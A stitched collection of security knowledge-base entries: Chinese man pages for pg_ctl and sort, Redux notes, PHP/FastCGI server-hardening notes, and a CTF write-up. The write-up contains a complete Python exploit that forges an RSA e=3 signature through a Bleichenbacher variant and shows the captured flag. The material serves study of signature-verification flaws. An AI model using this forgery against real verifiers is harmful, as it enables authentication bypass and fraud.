只打印错误,而不打印提示性信息。 .TP \fB-w\fR 等待启动或者关闭的完成。在 60 秒后超时。 这个参数是关闭时的缺省值。 成功的关闭是以删除 PID 文件为标志的。对于启动而言, 一次成功的 \fBpsql -l\fR 就标志着成功。 pg_ctl 将视图使用对 psql 合适的端口,如果存在环境变量 PGPORT,那么用它。 否则,它将查找看看在 postgresql.conf 文件里面是否设置了一个端口。 如果都没有,它将使用 PostgreSQL 编译时的缺省端口(缺省是 5432)。 .TP \fB-W\fR 不等待启动或者停止的完成。这是启动和重起的缺省。 .PP .SH "ENVIRONMENT 环境" .TP \fBPGDATA\fR 缺省数据目录位置 .TP \fBPGPORT\fR \fBpsql\fR(1) 的缺省端口(由 -w 选项使用)。 .PP 其它的环境变量,参阅 \fBpostmaster\fR(1). .PP .SH "FILES 文件" .TP \fB\fIpostmaster.pid\fB\fR 这个文件存在于数据目录中是为了帮助 pg_ctl 判断服务器当前是否在运行。 .TP \fB\fIpostmaster.opts.default\fB\fR 如果这个文件存在于数据目录,\fBpg_ctl\fR(在 \fBstart\fR 模式下)将把文件地内容当作传递给 \fBpostmaster\fR 命令的选项传递过去,除非被 \fB-o\fR 选项覆盖。 .TP \fB\fIpostmaster.opts\fB\fR 如果这个文件存在于数据目录,\fBpg_ctl\fR(在 \fBstart\fR 模式下)将把文件地内容当作传递给 \fBpostmaster\fR 命令的选项传递过去,除非被 \fB-o\fR 选项覆盖。这个文件的内容也会在 status 模式里显示出来。 .TP \fB\fIpostgresql.conf\fB\fR 这个文件在数据目录中,会分析它以查找和 psql 一起用的合适的端口(在 start 模式里给出 -w 的时候。) .SH "NOTES 注意" .PP 等待完全启动还不是一个定义得很完整的操作, 如果访问控制设置为本地客户端在没有手工交互的情况下不能访问的话还可能会失效。(比如,口令认证)。 .SH "EXAMPLES 例子" .SS "STARTING THE SERVER 启动服务器" .PP 启动服务器: .sp .nf $ \fBpg_ctl start\fR .sp .fi .PP 启动服务器的一个例子, 等到服务器 启动了才退出: .sp .nf $ \fBpg_ctl -w start\fR .sp .fi .PP 用于一个 postmaster 使用端口 5433,而且不带 fsync 运行,使用: .sp .nf $ \fBpg_ctl -o "-F -p 5433" start\fR .sp .fi .SS "STOPPING THE SERVER 停止服务器" .PP .sp .nf $ \fBpg_ctl stop\fR .sp .fi 停止服务器,使用 -m 开关允许我们控制如何把后端停下来。 -w等待服务器停止。-m 声明后端的停止模式。 .SS "RESTARTING THE SERVER 重起服务器" .PP 这个命令几乎等于先停止 postmaster 然后再启动她,只不过 \fBpg_ctl\fR 保存并重新使用上一次运行 postmaster 的命令行参数。重起服务器的最简单的方法是: .sp .nf $ \fBpg_ctl restart\fR .sp .fi .PP 重起服务器,等待其停止和重起: .sp .nf $ \fBpg_ctl -w restart\fR .sp .fi .PP 使用 5433 重起并且重起后关闭 fsync: .sp .nf $ \fBpg_ctl -o "-F -p 5433" restart\fR .sp .fi .SS "SHOWING THE SERVER STATUS 显示服务器状态" .PP 下面是来自 \fBpg_ctl\fR 的状态输出的例子: .sp .nf $ \fBpg_ctl status\fR pg_ctl: postmaster is running (pid: 13718) Command line was: /usr/local/pgsql/bin/postmaster '-D' '/usr/local/pgsql/data' '-p' '5433' '-B' '128' .sp .fi 这是在重起模式里使用的命令行。 .SH "SEE ALSO 参见" .PP \fBpostmaster\fR(1) .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
.TH SORT "1" "1999年12月" "GNU textutils 2.0a" FSF .SH NAME(名称) sort \- 对文本文件的行排序 .SH SYNOPSIS(总览) .B ../src/sort [\fIOPTION\fR]... [\fIFILE\fR]... .SH DESCRIPTION(描述) 在这儿添加任何附加的描述信息 .PP 将排序好的所有文件串写到标准输出上. .TP +POS1 [-POS2] 从关键字POS1开始,到POS2*之前*结束(快过时了) 字段数和字符偏移量都从零开始计数(与\fB\-k\fR选项比较) .TP \fB\-b\fR 忽略排序字段或关键字中开头的空格 .TP \fB\-c\fR 检查是否指定文件已经排序好了,不排序. .TP \fB\-d\fR 在关键字中只考虑[a-zA-Z0-9]字符. .TP \fB\-f\fR 将关键字中的小写字母折合成大写字母. .TP \fB\-g\fR 按照通常的数字值顺序作比较,暗含\fB\-b\fR .TP \fB\-i\fR 在关键字中只考虑[\e040-\e0176]字符. .TP \fB\-k\fR POS1[,POS2] 从关键字POS1开始,*到*POS2结束. 字段数和字符偏移量都从1开始计数(与基于零的+POS格式作比较) .TP \fB\-l\fR 按照当前环境排序. .TP \fB\-m\fR 合并已经排序好的文件,不排序. .TP \fB\-M\fR 按(未知的)<`JAN'<...<`DEC'的顺序比较,暗含\fB\-b\fR .TP \fB\-n\fR 按照字符串的数值顺序比较,暗含\fB\-b\fR .TP \fB\-o\fR FILE 将结果写入FILE而不是标准输出. .TP \fB\-r\fR 颠倒比较的结果. .TP \fB\-s\fR 通过屏蔽最后的再分类比较来稳定排序. .TP \fB\-t\fR SEP 使用SEP来替代空格的转换non-. .TP \fB\-T\fR DIRECTORY 使用DIRECTORY作为临时文件,而不是$TMPDIR或者/tmp .TP \fB\-u\fR 如果有\fB\-c\fR,则按严格的顺序进行检查; 如果有\fB\-m\fR,则只输出相等顺序的第一个. .TP \fB\-z\fR 以0字节结束行,而不是使用换行符,这是为了找到\fB\-print0\fR .TP \fB\-\-help\fR 显示帮助并退出. .TP \fB\-\-version\fR 输出版本信息并退出. .PP POS为F[.C][OPTS],这里的F指的是字段数,而C为字段中的字符位置,这在\fB\-k\fR中是从开 始计数的,而在过时的格式中是从零开始的.OPTS可由一个或多个Mbdfinr组成;这有效地屏蔽了 对于那个关键字的全局\fB\-Mbdfinr\fR设置.如果没有指定关键字,则使用整行作为关键字.如 果没有FILE,或者FILE是-,则从标准输入读取. .SH AUTHOR(作者) Mike Haertel .SH REPORTING BUGS(报告BUGS) 报告bugs,请发到<bug-textutils@gnu.org>. .SH COPYRIGHT(版权) 版权所有\(co 1999 Free Software Foundation, Inc. .br 这是自由软件;参见关于复制条件的源文件.不承担任何责任;更不用说商用性或特殊需求的适 应性. .SH SEE ALSO (另见) .B sort 的完整文档是以Texinfo手册的方式维护的.如果在你那儿正确地安装了 .B info 和 .B sort 程序,命令 .IP .B info sort .PP 应该可以让你访问整个手册. .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/08/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Episode 5: Challenge 2 ## Description > Get the jump on your enemies in this side scrolling game. https://pzero-adventures-web.h4ck.ctfcompetition.com/ > > Hint: Can you score lower than zero? The sources were attached. <details> <summary>Click to expand</summary> ### app.py ```python import re from flask import Flask, request from flask_json import FlaskJSON, json_response from util import verify, sign as _sign KEY_ID = 'pzero-adventures' FLAG = '**REDACTED**' app = Flask(__name__) json = FlaskJSON(app) json.init_app(app) highscores = [] @app.route("/") def main(): return open('index.html').read() @app.route("/api/highscores") def get_highscores(): global highscores return json_response(200, data_=[{ 'name': h.get('name'), 'score': h.get('score') } for h in highscores]) @app.route("/api/highscores", methods=["post"]) def post_highscore(): global highscores data = request.get_json() try: name = data.get('name') score = data.get('score') signature = bytes.fromhex(data.get('signature', '')) except: return json_response(400, text="invalid parameters") if type(name) != str or len(name) != 3: return json_response(400, text="invalid name") if type(score) != int or not -2**16 <= score < 2**16: return json_response(400, text="invalid score") try: verify(KEY_ID, name, score, signature) except Exception as err: return json_response(400, text=err) player = {"name": name, "score": score} highscores.append(player) highscores = sorted(highscores, key=lambda row: row['score'], reverse=True) if len(highscores) > 10: highscores.pop(10) if score < 0: # FIX(mystiz): I heard that some players are so strong that the score is overflown. # I'll send them the flag and hope the players are satisfied for now... return {"message": f"You performed so well so that you triggered an integer overflow! This is your flag: {FLAG}"} elif player in highscores: rank = highscores.index(player) + 1 return {"message": f"Congratulations! You are currently at #{rank} on the scoreboard!"} else: return {"message": f"Better luck next time!"} @app.route("/api/sign", methods=["post"]) def sign(): data = request.get_json() name = data.get('name') score = data.get('score') if type(name) != str or len(name) != 3: return json_response(400, text="invalid name") if type(score) != int or score < 0: return json_response(400, text="invalid score") return {"signature": _sign(KEY_ID, name, score).hex()} @app.route("/api/keys") def get_key(): with open(f'keys/{KEY_ID}.pub') as f: return {"key": f.read()} if __name__ == "__main__": app.run(host='0.0.0.0', port=1337) ``` ### util.py ```python from Crypto.PublicKey import RSA import json from crypto import SigningKey, VerifyingKey def verify(key_id, player_name, score, signature): with open(f'./keys/{key_id}.pub') as f: key_bytes = f.read() key = RSA.import_key(key_bytes) vk = VerifyingKey(key.n, key.e) message = json.dumps([key_id, player_name, score]).encode() return vk.verify(message, signature) def sign(key_id, player_name, score): with open(f'./keys/{key_id}.priv') as f: key_bytes = f.read() key = RSA.import_key(key_bytes) sk = SigningKey(key.p, key.q, key.e) message = json.dumps([key_id, player_name, score]).encode() return sk.sign(message) ``` ### crypto.py ```python from Crypto.Util.asn1 import DerSequence, DerObjectId, DerOctetString, DerNull import hashlib from math import gcd class VerifyingKey: def __init__(self, n, e, bits=2048): self.n = n self.e = e self.bits = bits # https://datatracker.ietf.org/doc/html/rfc2313#section-10.2 # Note: The only hash algorithm we accept is SHA256. def verify(self, m, s): if len(s) != self.bits//8: raise Exception('incorrect signature length') s = int.from_bytes(s, 'big') k = pow(s, self.e, self.n) k = int.to_bytes(k, self.bits//8, 'big') if k[0] != 0x00: raise Exception('incorrect prefix') if k[1] != 0x01: raise Exception('incorrect prefix') padding, digest_info = k[2:].split(b'\x00', 1) if len(padding) < 8: raise Exception('invalid padding length') if padding != b'\xff'*len(padding): raise Exception('invalid padding content') sequence = DerSequence() sequence.decode(digest_info) _digest_algorithm_identifier, _digest = sequence sequence = DerSequence() sequence.decode(_digest_algorithm_identifier) _digest_algorithm_identifier = sequence[0] object_id = DerObjectId() object_id.decode(_digest_algorithm_identifier) digest_algorithm_identifier = object_id.value if digest_algorithm_identifier != '2.16.840.1.101.3.4.2.1': raise Exception('invalid digest algorithm identifier') _null = sequence[1] null = DerNull() null.decode(_null) octet_string = DerOctetString() octet_string.decode(_digest) digest = octet_string.payload if hashlib.sha256(m).digest() != digest: raise Exception('mismatch digest') return True class SigningKey: def __init__(self, p, q, e, bits=2048): if gcd(p-1, e) != 1: raise Exception('p-1 and e are not coprime') if gcd(q-1, e) != 1: raise Exception('q-1 and e are not coprime') phi_n = (p-1) * (q-1) self.p = p self.q = q self.e = e self.n = p * q self.d = pow(e, -1, phi_n) self.bits = bits def verifying_key(self): return VerifyingKey(self.p*self.q, self.e, self.bits) # https://datatracker.ietf.org/doc/html/rfc2313#section-10.1 def sign(self, m): digest_algorithm_identifier = DerSequence([ DerObjectId('2.16.840.1.101.3.4.2.1').encode(), DerNull().encode() ]) digest = hashlib.sha256(m).digest() digest_info = DerSequence(([ digest_algorithm_identifier, DerOctetString(digest).encode() ])) encryption_block = bytes.fromhex('00') encryption_block += bytes.fromhex('01') # block type for signature encryption_block += b'\xff'*(self.bits//8 - 3 - len(digest_info.encode())) encryption_block += bytes.fromhex('00') encryption_block += digest_info.encode() encryption_block = int.from_bytes(encryption_block, 'big') s = pow(encryption_block, self.d, self.n) s = int.to_bytes(s, self.bits//8, 'big') return s ``` </details> ## Solution The attached website contained a cute interactive side-scroller game. Once the player died, they got the chance to submit their name to the highscore list. Submitting a score works as follows: First, the front-end submits the name and score to a signing API: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ curl 'https://pzero-adventures-web.h4ck.ctfcompetition.com/api/sign' -X POST -H 'Content-Type: application/json' --d ata-raw '{"name":"ABC","score":16}' {"signature":"4477dca23d6fd861e6517db9a154db55868873da0c29feec20023fe148831b99f19eca86f29bfcdb436de5469aeacc905b8789ecfb470ee0fb8aa91f9a3bec2ffbcecc07c2f2a114c9b101d333bdc23e1a169441173a0ba7f79802cf3349b9458a181afe728657de3066a5699f9530d1f3ae6fb28a129f4c0fbbce5d62c4701337887700948ab67da0db15e55efa6adb066827f77a2079e2c0de72e2b276f3ae5d90ccb9f863cb897205b8c8e8a14568c40a2e3801a601af562074543f9cb6d02f278260b6e870c8c5188b211cafa5bcf1a134cdaefba1a564f3df6cf5f670dd72e675cbd922c67f8d6f34b3f92b18df06e788860d2249f415ba49291aed11be"} ``` Then, it takes the signature and resubmits it to the highscore API: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ curl 'https://pzero-adventures-web.h4ck.ctfcompetition.com/api/highscores' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"ABC","score":16,"signature":"4477dca23d6fd861e6517db9a154db55868873da0c29feec20023fe148831b99f19eca86f29bfcdb436de5469aeacc905b8789ecfb470ee0fb8aa91f9a3bec2ffbcecc07c2f2a114c9b101d333bdc23e1a169441173a0ba7f79802cf3349b9458a181afe728657de3066a5699f9530d1f3ae6fb28a129f4c0fbbce5d62c4701337887700948ab67da0db15e55efa6adb066827f77a2079e2c0de72e2b276f3ae5d90ccb9f863cb897205b8c8e8a14568c40a2e3801a601af562074543f9cb6d02f278260b6e870c8c5188b211cafa5bcf1a134cdaefba1a564f3df6cf5f670dd72e675cbd922c67f8d6f34b3f92b18df06e788860d2249f415ba49291aed11be"}' {"message":"Better luck next time!"} ``` From inspecting the sources we see that it's possible to read the flag if we can submit a negative score: ```python if score < 0: # FIX(mystiz): I heard that some players are so strong that the score is overflown. # I'll send them the flag and hope the players are satisfied for now... return {"message": f"You performed so well so that you triggered an integer overflow! This is your flag: {FLAG}"} ``` However the `/api/sign` API won't sign a negative score: ```python if type(score) != int or score < 0: return json_response(400, text="invalid score") ``` Note that the `/api/highscores` API does accept a negative score if the signature is correct: ```python if type(score) != int or not -2**16 <= score < 2**16: return json_response(400, text="invalid score") try: verify(KEY_ID, name, score, signature) except Exception as err: return json_response(400, text=err) ``` So, we need to provide the server a signed digest over a negative score. Using the `/api/keys` API, we can get the server's public key: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ wget https://pzero-adventures-web.h4ck.ctfcompetition.com/api/keys --2022-10-16 14:51:26-- https://pzero-adventures-web.h4ck.ctfcompetition.com/api/keys Resolving pzero-adventures-web.h4ck.ctfcompetition.com (pzero-adventures-web.h4ck.ctfcompetition.com)... 34.160.253.81 Connecting to pzero-adventures-web.h4ck.ctfcompetition.com (pzero-adventures-web.h4ck.ctfcompetition.com)|34.160.253.81|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 469 [application/json] Saving to: ‘keys’ keys 100%[=================================================>] 469 --.-KB/s in 0.002s 2022-10-16 14:51:26 (295 KB/s) - ‘keys’ saved [469/469] ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ python3 -m json.tool keys { "key": "-----BEGIN PUBLIC KEY-----\nMIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAn42pnkqFLgryX40zvo+5\nnCJSB1WF3o1pvNp74QN54D9Y1QEz+zZR4SBNpJ6HoA3gGKsujAp0B3I2Etpa4NqC\nsw+pmgpwF6zN6WBbPnmruyHi7IpeqdZ/uzkUINnYgdCUTl6ZYUszrg+zFIGkLiAk\nenn0SyQeHCsx7S8mXsFTGU7bpeBmV4bGXogfAOSw5frPObhw+RKysrcHaZ/GvikF\nuW6h+Vrw8EXIB5H1qZteZu5gxEs1FLOE5ikFq9L+setCJpfu0nXIEH1n+uzWdxUa\nkgZJ0EGXiUVyrO7id1HcJntw34Kq81psT9I2GVf6U0s+F4c9e2r30eDPcWTbZxnx\n2QIBAw==\n-----END PUBLIC KEY-----" } ``` We can parse the key using an online ASN1 parser such as [this one](https://lapo.it/asn1js/) or using OpenSSL: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ openssl asn1parse -i -in key.pem 0:d=0 hl=4 l= 288 cons: SEQUENCE 4:d=1 hl=2 l= 13 cons: SEQUENCE 6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption 17:d=2 hl=2 l= 0 prim: NULL 19:d=1 hl=4 l= 269 prim: BIT STRING ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ openssl asn1parse -i -in key.pem -strparse 19 0:d=0 hl=4 l= 264 cons: SEQUENCE 4:d=1 hl=4 l= 257 prim: INTEGER :9F8DA99E4A852E0AF25F8D33BE8FB99C2252075585DE8D69BCDA7BE10379E03F58D50133FB3651E1204DA49E87A00DE018AB2E8C0A7407723612DA5AE0DA82B30FA99A0A7017ACCDE9605B3E79ABBB21E2EC8A5EA9D67FBB391420D9D881D0944E5E99614B33AE0FB31481A42E20247A79F44B241E1C2B31ED2F265EC153194EDBA5E0665786C65E881F00E4B0E5FACF39B870F912B2B2B707699FC6BE2905B96EA1F95AF0F045C80791F5A99B5E66EE60C44B3514B384E62905ABD2FEB1EB422697EED275C8107D67FAECD677151A920649D04197894572ACEEE27751DC267B70DF82AAF35A6C4FD2361957FA534B3E17873D7B6AF7D1E0CF7164DB6719F1D9 265:d=1 hl=2 l= 1 prim: INTEGER :03 ``` What we see here is an RSA key of size 2048, with an exponent of value `3`. It turns out there's a known attack called "Bleichenbacher RSA Signature Forgery" which can be used to forge a signature in case the exponent is `3`, let's try to utilize it. If we follow the source code to see how the score is signed, we see that it eventually arrives to the following function: ```python # https://datatracker.ietf.org/doc/html/rfc2313#section-10.1 def sign(self, m): digest_algorithm_identifier = DerSequence([ DerObjectId('2.16.840.1.101.3.4.2.1').encode(), DerNull().encode() ]) digest = hashlib.sha256(m).digest() digest_info = DerSequence(([ digest_algorithm_identifier, DerOctetString(digest).encode() ])) encryption_block = bytes.fromhex('00') encryption_block += bytes.fromhex('01') # block type for signature encryption_block += b'\xff'*(self.bits//8 - 3 - len(digest_info.encode())) encryption_block += bytes.fromhex('00') encryption_block += digest_info.encode() encryption_block = int.from_bytes(encryption_block, 'big') s = pow(encryption_block, self.d, self.n) s = int.to_bytes(s, self.bits//8, 'big') return s ``` This is a PKCS#1 1.5 signing schema, which basically looks like this: ``` 00 01 FF FF ... FF FF 00 ASN.1 HASH ``` The HASH is the hash of message to sign. In our case, it's hashed with `sha256`. Now, according to Bleichenbacher's attack, if the verifier's parsing logic is flawed, we might be able to trick it by formatting the signature a bit differently. For example, if the verifier doesn't check that the hash is aligned to the end of the digest, it's possible to format the digest in the following way: ``` 00 01 FF 00 ASN.1 HASH GARBAGE ``` Assuming the exponent `e` is `3` and the message is short enough, we can do that by computing the (approximate) cube root of `00 01 FF 00 ASN.1 HASH RANDOM`. Once the result is raised by `3` to verify the signature, those least significant bytes won't go back to being the same `RANDOM` data that we originally put, but since the flawed parser ignores them we don't really care. The problem is that our parser (`verify()`) does care about garbage at the end: ```python sequence = DerSequence() sequence.decode(digest_info) _digest_algorithm_identifier, _digest = sequence ``` If we try to feed `sequence.decode` with some garbage after the ASN.1 data, it will throw an exception. So, we need to hide the garbage elsewhere. I found [this blog post](https://words.filippo.io/bleichenbacher-06-signature-forgery-in-python-rsa/) about a magical variant of the Bleichenbacher attack which can be used to hide the garbage in the middle of the digest, and modified it to suit the challenge. The idea is that since we can't hide it before or after the ASN.1 structure (since the parser will complain about that), the only place where we can hide it is *within* the ASN.1 structure. The expected ASN.1 structure can be found in the `sign` method: ```python digest_algorithm_identifier = DerSequence([ DerObjectId('2.16.840.1.101.3.4.2.1').encode(), DerNull().encode() ]) digest = hashlib.sha256(m).digest() digest_info = DerSequence(([ digest_algorithm_identifier, DerOctetString(digest).encode() ])) ``` What we want to do is pad the structure is some way so that it stays a valid ASN.1 structure. We can't add the padding as a third member of `digest_info`, since the code expects two members during the unpack operation: ```python sequence = DerSequence() sequence.decode(digest_info) _digest_algorithm_identifier, _digest = sequence ``` However, we can hide the padding within the `digest_algorithm_identifier` since the code unpacks it by index (and will ignore `sequence[2]` if it exists): ```python sequence = DerSequence() sequence.decode(_digest_algorithm_identifier) _digest_algorithm_identifier = sequence[0] object_id = DerObjectId() object_id.decode(_digest_algorithm_identifier) digest_algorithm_identifier = object_id.value if digest_algorithm_identifier != '2.16.840.1.101.3.4.2.1': raise Exception('invalid digest algorithm identifier') _null = sequence[1] null = DerNull() null.decode(_null) ``` So, we want to create such a structure: ```python digest_algorithm_identifier = DerSequence([ DerObjectId('2.16.840.1.101.3.4.2.1').encode(), DerNull().encode(), DerOctetString(PADDING).encode() # <-- Our padding ]) digest_info = DerSequence(([ digest_algorithm_identifier, DerOctetString(digest).encode(), ])).encode() ``` In addition, we use the blog post's black magic to modify the suffix of the digest to a value that when raised to the power of `3` will produce our original suffix. And last but not least, we need to prepend a `0x00` followed by 8 `0xFF`s and an additional `0x00` to pass the prefix/padding checks. Putting it all together, we get the following script: ```python from Crypto.Util.asn1 import DerSequence, DerObjectId, DerOctetString, DerNull from gmpy2 import mpz, iroot import hashlib import os import requests import json SCORE = -3 NAME = "ABC" KEY_ID = 'pzero-adventures' KEY_SIZE_BITS = 2048 BITS_PER_BYTE = 8 KEY_SIZE_BYTES = KEY_SIZE_BITS // BITS_PER_BYTE EXPONENT = 3 FF_PAD_LEN = 8 message = json.dumps([KEY_ID, NAME, SCORE]) def to_bytes(n, length = None): """ Return a bytes representation of a int """ if length is None: length = (n.bit_length() // BITS_PER_BYTE) + 1 return n.to_bytes(length, byteorder='big') def from_bytes(b): """ Makes a int from a bytestring """ return int.from_bytes(b, byteorder='big') def get_bit(n, b): """ Returns the b-th rightmost bit of n """ return ((1 << b) & n) >> b def set_bit(n, b, x): """ Returns n with the b-th rightmost bit set to x """ if x == 0: return ~(1 << b) & n if x == 1: return (1 << b) | n def ith_root(n, i): return int(iroot(mpz(n), i)[0]) def log(message): print(f"[-] {message}\n") def log_bytes(title, byte_array): log(f"{title} (size = {len(byte_array)}): {byte_array.hex()}") message_hash = hashlib.sha256(message.encode("ASCII")).digest() log_bytes("Message hash", message_hash) suffix = DerOctetString(message_hash).encode() assert(suffix[-1] & 0x01 == 1 ) log_bytes("Suffix", suffix) sig_suffix = 1 for b in range(len(suffix) * BITS_PER_BYTE): if get_bit(sig_suffix ** EXPONENT, b) != get_bit(from_bytes(suffix), b): sig_suffix = set_bit(sig_suffix, b, 1) decrypted_sig_suf = to_bytes(sig_suffix ** EXPONENT) assert(decrypted_sig_suf.endswith(suffix) ) log_bytes("Signature suffix", to_bytes(sig_suffix)) log_bytes("Fake decrypted signature suffix", decrypted_sig_suf) digest_algorithm_identifier = DerSequence([ DerObjectId('2.16.840.1.101.3.4.2.1').encode(), DerNull().encode(), DerOctetString(os.urandom(189)).encode() # 189? ]) digest_info = DerSequence(([ digest_algorithm_identifier, suffix, ])).encode() log_bytes("Digest info", digest_info) prefix = b'\x00\x01' + (b'\xff' * FF_PAD_LEN) + b'\x00' + digest_info[:-3] # -3? log_bytes("Prefix", prefix) sig = to_bytes(ith_root(from_bytes(prefix), EXPONENT))[:-len(suffix)] + to_bytes(sig_suffix) log_bytes("Signature", sig) pad_sig = to_bytes(from_bytes(sig), KEY_SIZE_BYTES) log_bytes("Padded Signature", pad_sig) log_bytes("Fake decryption", to_bytes(from_bytes(sig) ** EXPONENT, KEY_SIZE_BYTES)) r = requests.post("https://pzero-adventures-web.h4ck.ctfcompetition.com/api/highscores", json = {"name": NAME, "score": SCORE, "signature": pad_sig.hex()}) log(f"Server response: {r.text}") ``` And running the script, we get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_02] └─$ python3 solve.py [-] Message hash (size = 32): 348deea25b5962bc4ccc1dc6cb0ab81b5ed92ba2bae752127b6cbb1bfae7f2f1 [-] Suffix (size = 34): 0420348deea25b5962bc4ccc1dc6cb0ab81b5ed92ba2bae752127b6cbb1bfae7f2f1 [-] Signature suffix (size = 35): 00d25c253b5211580429bb714606a818d4ef92e11b81d588d3e4f72f120854642e7d51 [-] Fake decrypted signature suffix (size = 103): 008e0a1e247533925663793a37e1e5cf267fbec7440bd6d90c108b46f285c2f3363cf73af0a334b66d235894c1c45c2f4ad5684051e0b4e8d9283787312244d17d9dbfc0180420348deea25b5962bc4ccc1dc6cb0ab81b5ed92ba2bae752127b6cbb1bfae7f2f1 [-] Digest info (size = 245): 3081f23081cd060960864801650304020105000481bdbb5f6ef1806742d230804638baaffbcb4460ffe58c041ac73fb52e6c7752f3de2064115d269dd4c6c4ea015d7eda8e55c053e3cccc05fe21103064685c933d0e46d283fb8adce8dfc823ec056cad5759ce3def890a0aef719be6fc3a627cd976e4323180a37fb193d56339750d3c356f6f87c0b4ba6736fd866b2e37f5246429692862ca1889b2f76420b1254c23949d6e8ff0231aec3510aae36c0a6dcd5c3f8066ac7d7b718e3dbb456ded16b1284129cf9f9d3d911749defc13e2f40420348deea25b5962bc4ccc1dc6cb0ab81b5ed92ba2bae752127b6cbb1bfae7f2f1 [-] Prefix (size = 253): 0001ffffffffffffffff003081f23081cd060960864801650304020105000481bdbb5f6ef1806742d230804638baaffbcb4460ffe58c041ac73fb52e6c7752f3de2064115d269dd4c6c4ea015d7eda8e55c053e3cccc05fe21103064685c933d0e46d283fb8adce8dfc823ec056cad5759ce3def890a0aef719be6fc3a627cd976e4323180a37fb193d56339750d3c356f6f87c0b4ba6736fd866b2e37f5246429692862ca1889b2f76420b1254c23949d6e8ff0231aec3510aae36c0a6dcd5c3f8066ac7d7b718e3dbb456ded16b1284129cf9f9d3d911749defc13e2f40420348deea25b5962bc4ccc1dc6cb0ab81b5ed92ba2bae752127b6cbb1bfa [-] Signature (size = 85): 32cbfd4a7adc7905583d7920d7165d77cf8d6f4b19a4c14026dc9bf5576b2de8dd07958612465d846d532303997ed7da7ccc00d25c253b5211580429bb714606a818d4ef92e11b81d588d3e4f72f120854642e7d51 [-] Padded Signature (size = 256): 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032cbfd4a7adc7905583d7920d7165d77cf8d6f4b19a4c14026dc9bf5576b2de8dd07958612465d846d532303997ed7da7ccc00d25c253b5211580429bb714606a818d4ef92e11b81d588d3e4f72f120854642e7d51 [-] Fake decryption (size = 256): 0001ffffffffffffffff003081f23081cd060960864801650304020105000481bdbb5f6ef1806742d230804638baaffbcb4460f8666619f5136df88e108d932b8df6fd61ba0604b9d42ea589eb4db09e811bf492d4664b37f935957539728ad79dd32c27efef1e2ca3c7da709907c90c5edeafb3557acb767d9a1f0d71cf6d53463c5db8d5047f42e617c58314a31809cef9f764ed4709b2c446c46f75ee152fe9a025662f0a17a4f82a34b59979258a886cca230b544d13b4aa1308ab12b2a4cd8693e79bff472c0e957c2a6945a72be243c3626f709b1cd170bd20a4180420348deea25b5962bc4ccc1dc6cb0ab81b5ed92ba2bae752127b6cbb1bfae7f2f1 [-] Server response: {"message":"You performed so well so that you triggered an integer overflow! This is your flag: https://h4ck1ng.google/solve/bl3ich3n64cher_str1k35_4g41n_4nd_a9a1n"} ```
sec-knowleage
# Action reducer的Action(对象)参数,类似于一个接口,它主要是和reducer联动的,它默认必须返回一个type,用这个type的值来判断reducer中做哪一步操作 ### 创建Action 利用 Action 创建函数来创建 Action ```js const action = { type: 'ADD_TODO', //type属性是必须的,表示 Action 的名称,值是一个字符串 payload: 'Learn Redux' //payload ,也就是这个 action 携带的数据,可以自由设置 } ``` 例子:Reducer实现加一 ```js //export default 默认输出 export default function likeReducer(state = 0, action) { //likeReducer函数有两个参数state 和 action switch (action.type) { //传入action的type参数作为switch的参数 case 'INCREMENT_NUM': //找到需要执行的action操作 console.log('state', state) return state + 1 //返回的新的state default: return state; //如果找不到或执行错误,默认返回旧的state } } ``` ### 调用 1. 直接调用`dispatch` ```js //创建一个 被绑定的 action 创建函数 来自动 dispatch const boundAddnum = (num) => dispatch(addnum(num)) ``` 2. 通过`store.dispatch()`调用 ```js //在组件内调用dispatch,触发 state 变化。重新渲染 store.dispatch({type:'INCREMENT_NUM'}) ```
sec-knowleage
## 一、服务器的配置 1. Apache 可以配置将PHP解释器作为CGI脚本(mod_cgi),或者作为Apache本身的一个模块(mod_php),还有就是FastCGI模式来运行。 CGI是比较原始的方式,需要把php 脚本放在conf 文件中设置的目录内并给与可执行权限(bash,perl 等脚本同理),比如 ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" 或者 在设置目录外执行 cgi,比如 &#35; To use CGI scripts outside of ScriptAliased directories: &#35; (You will also need to add "ExecCGI" to the "Options" directive.) &#35; AddHandler cgi-script .cgi Apache默认是以第二种方式运行PHP的; 而配置FastCGI模式需要下载安装相关的包mod_fastcgi,且 php 编译时需要支持 –-enable-fpm(5.3之前版本是 --enable-fastcgi )。 不要认为没有搭配php/python/perl的Apache就是安全的,也不要认为安全配置PHP后webshell就不能执行系统命令,因为Apache本身支持CGI和SSI,甚至需要注意 .htaccess 文件的上传覆盖。 2. Nginx 默认不支持CGI模式,它是以FastCGI方式运行的。所以使用Nginx+PHP 就是直接配置为FastCGI模式。php 同样需要支持 php-fpm(也可以使用PHP 自带的 FastCGI 管理器PHP-CGI),且 nginx 支持 ngx_http_fastcgi_module,配置文件一般类似 ``` location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index xxxx; fastcgi_param xxxx; include fastcgi.conf; } ``` 对于php-cgi/php-fpm监听端口对外开放(一般情况下,是用于nginx/apache与fastcgi 分离,即 fastcgi_pass ip 不是 127.0.0.1),均需做访问控制,只允许指定的IP访问,否则可能导致远程文件包含。可以使用iptables做访问控制,如新增规则(监听端口为9000,webserver来源IP为192.168.2.138)。 ``` iptables 